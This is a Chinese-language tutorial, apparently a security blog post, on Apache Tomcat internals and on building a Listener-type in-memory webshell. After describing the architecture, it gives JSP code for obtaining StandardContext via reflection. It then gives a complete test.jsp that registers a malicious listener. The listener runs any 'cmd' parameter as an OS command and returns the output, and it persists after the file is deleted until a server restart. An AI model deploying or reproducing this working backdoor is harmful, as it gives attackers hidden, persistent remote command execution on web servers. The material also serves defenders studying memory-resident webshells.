Tomcat 內存馬(一)Listener型

一、Tomcat介紹

Tomcat的主要功能

tomcat作為一個 Web 服務器,實現了兩個非常核心的功能:

  • Http 服務器功能:進行 Socket 通信(基於 TCP/IP),解析 HTTP 報文
  • Servlet 容器功能:加載和管理 Servlet,由 Servlet 具體負責處理 Request 請求

image-20211007190918695

以上兩個功能,分別對應着tomcat的兩個核心組件連接器(Connector)和容器(Container),連接器負責對外交流(完成 Http 服務器功能),容器負責內部處理(完成 Servlet 容器功能)。

image-20211007191427074

  • Server
    Server 服務器的意思,代表整個 tomcat 服務器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 組件,用於提供具體服務。

  • Service
    服務是 Server 內部的組件,一個Server可以包括多個Service。它將若干個 Connector 組件綁定到一個 Container

  • Connector

    稱作連接器,是 Service 的核心組件之一,一個 Service 可以有多個 Connector,主要連接客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。

  • Container
    負責處理用戶的 servlet 請求

Connector連接器

連接器主要完成以下三個核心功能:

  • socket 通信,也就是網絡編程
  • 解析處理應用層協議,封裝成一個 Request 對象
  • 將 Request 轉換為 ServletRequest,將 Response 轉換為 ServletResponse

以上分別對應三個組件 EndPoint、Processor、Adapter 來完成。Endpoint 負責提供請求位元組流給Processor,Processor 負責提供 Tomcat 定義的 Request 對象給 Adapter,Adapter 負責提供標準的 ServletRequest 對象給 Servlet 容器。

image-20211007193016382

Container容器

Container組件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。

image-20211007193651356

四種容器的作用:

  • Engine
    表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多只能有一個 Engine,但是一個引擎可包含多個 Host
  • Host
    代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context
  • Context
    表示一個 Web 應用程序,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper
  • Wrapper
    表示一個Servlet,負責管理整個 Servlet 的生命周期,包括裝載、初始化、資源回收等

如以下圖,a.com和b.com分別對應着兩個Host

image-20211007193847735

tomcat的結構圖:

image-20211007192234870

二、Listener內存馬

請求網站的時候, 程序先執行listener監聽器的內容:Listener -> Filter -> Servlet

image-20211007200844984

Listener是最先被加載的, 所以可以利用動態註冊惡意的Listener內存馬。而Listener分為以下幾種:

  • ServletContext,服務器啟動和終止時觸發
  • Session,有關Session操作時觸發
  • Request,訪問服務時觸發

其中關於監聽Request對象的監聽器是最適合做內存馬的,只要訪問服務就能觸發操作。

ServletRequestListener接口

如果在Tomcat要引入listener,需要實現兩種接口,分別是LifecycleListener和原生EvenListener

實現了LifecycleListener接口的監聽器一般作用於tomcat初始化啟動階段,此時客戶端的請求還沒進入解析階段,不適合用於內存馬。

所以來看另一個EventListener接口,在Tomcat中,自定義了很多繼承於EventListener的接口,應用於各個對象的監聽。

image-20211007201719507

重點來看ServletRequestListener接口

image-20211007201800711

ServletRequestListener用於監聽ServletRequest對象的創建和銷毀,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized方法。

在這裡,通過一個demo來介紹下ServletRequestListener與其執行流程

配置tomcat源碼調試環境://zhuanlan.zhihu.com/p/35454131

寫一個繼承於ServletRequestListener接口的TestListener

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestInitialized");
    }
}

在web.xml中配置:

    <listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

訪問任意的路徑://127.0.0.1:8080/11

image-20211007203753325

可以看到控制台打印了信息,tomcat先執行了requestInitialized,然後再執行了requestDestroyed

image-20211007203825680

requestInitialized:在request對象創建時觸發

requestDestroyed:在request對象銷毀時觸發

StandardContext對象

StandardContext對象就是用來add惡意listener的地方

接以上環境,直接在requestInitialized處下斷點,訪問url後,顯示出整個調用鏈

image-20211007204506315

通過調用鏈發現,Tomcat在StandardHostValve中調用了我們定義的Listener

image-20211007204236921

跟進context.fireRequestInitEvent,在如圖紅框處調用了requestInitialized方法

image-20211007204703280

往上追蹤後發現,以上的listener是在StandardContext#getApplicationEventListeners方法中獲得的

image-20211007204842996

image-20211007210916415

StandardContext#addApplicationEventListener添加了listener

image-20211007211020621

這時候我們思路是,調用StandardContext#addApplicationEventListener方法,add我們自己寫的惡意listener

在jsp中如何獲得StandardContext對象

方式一:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

以下是網絡上公開的內存馬:

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

首先訪問上傳的test.jsp生成listener內存馬,之後即使test.jsp刪除,只要不重啟服務器,內存馬就能存在。

image-20211007213837242

image-20211007213902413